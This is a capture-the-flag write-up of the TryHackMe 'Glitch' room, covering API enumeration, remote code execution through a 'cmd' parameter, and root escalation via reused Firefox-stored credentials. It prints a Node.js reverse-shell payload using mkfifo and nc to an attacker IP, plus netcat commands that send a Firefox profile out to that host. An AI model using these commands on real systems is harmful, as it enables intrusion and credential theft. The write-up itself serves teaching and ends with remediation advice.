Glitch is a room on TryHackMe. It has “Easy” difficulty. Initial foothold on the machine could be obtained by a remote code execution flaw in the API. Privilege escalation to root could be accomplished by reused credentials that were stored inside a Firefox profile.
The enumeration started with Nmap. It revealed that Nginx was running on port 80.
The landing page of the web server just displayed a glitched image. The page had the title “not allowed”. There was no robots.txt. The site was utilizing Node.js and Express as backend frameworks.
By inspecting the source code of the web page, I could find an API endpoint.
The API endpoint was “/api/access”. Calling that endpoint will give token which is Base 64 encoded.
After decoding it with CyberChef, the API key for the web app could be obtained.
Furthermore I could observe that the web app is setting a cookie with the name “token”. So we can assume that this key is used as value for the cookie.
To enumerate further endpoints Gobuster was used. First of all non API endpoints were enumerated.
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.188.58/ -o gobuster_medium.txt
This resulted in the following endpoints:
/img (Status: 301) [Size: 173] [--> /img/]
/js (Status: 301) [Size: 171] [--> /js/]
/secret (Status: 200) [Size: 724]
/Secret (Status: 200) [Size: 724]
The “secret” endpoint was just a rabbit hole. After setting the cookie and opening the site, multiple pictures of a rabbit was displayed:
In the next step further API endpoints were enumerated with Gobuster. The wordlist “common.txt” was used this time.
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.188.58/api
This revealed another endpoint called “items”:
/access (Status: 200) [Size: 36]
/items (Status: 200) [Size: 169]
The “items” endpoint was just displaying a object with “sins”, “errors” and “deaths”.
By fuzzing for another POST parameter, I could find that the “cmd” parameter is valid.
wfuzz -XPOST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hh 45 http://10.10.188.58/api/items?FUZZ=foo
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.73.174 4444 >/tmp/f')
This payload was URL encoded and then used in the request.
Prior sending the request a Netcat listener was started on the attacker machine. After sending the request the victim connected to the attacker.
In the home folder of the user “user” there was a “.firefox” directory, which contains the Firefox profile.
To further investigate this directory, a tar archive was created:
tar xf out.tar .firefox
After that it was transferred to the attacker by using Netcat. First of all another Netcat listener was started on port 1234 on the attacker machine:
nc -lvnp 1234 > out.tar
Next the file was transferred by running the following command on the target:
nc -w 3 10.9.73.174 1234 < out.tar
The archive was then extracted and the resulting directory was renamed:
tar xf out.tar
mv .firefox firefox
To get the passwords from the Firefox profile, the Python script from this repository was used. It was possible to extract the password of the user “v0id” which is also a user on the box and can run commands as the root user with “doas”.
Getting a root shell
First a TTY shell was spawned with Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Next the user could be switched to “v0id” because of password reuse.
Later a root shell could be spawned by running “doas”.
The principle security through obscurity is not a good security practice. It just will make an attack take longer and won’t prevent it. So the “cmd” parameter should be removed. Furthermore the hard coded API key should be removed. Also the password policy should prevent users from reusing their password. The user “v0id” should change the password.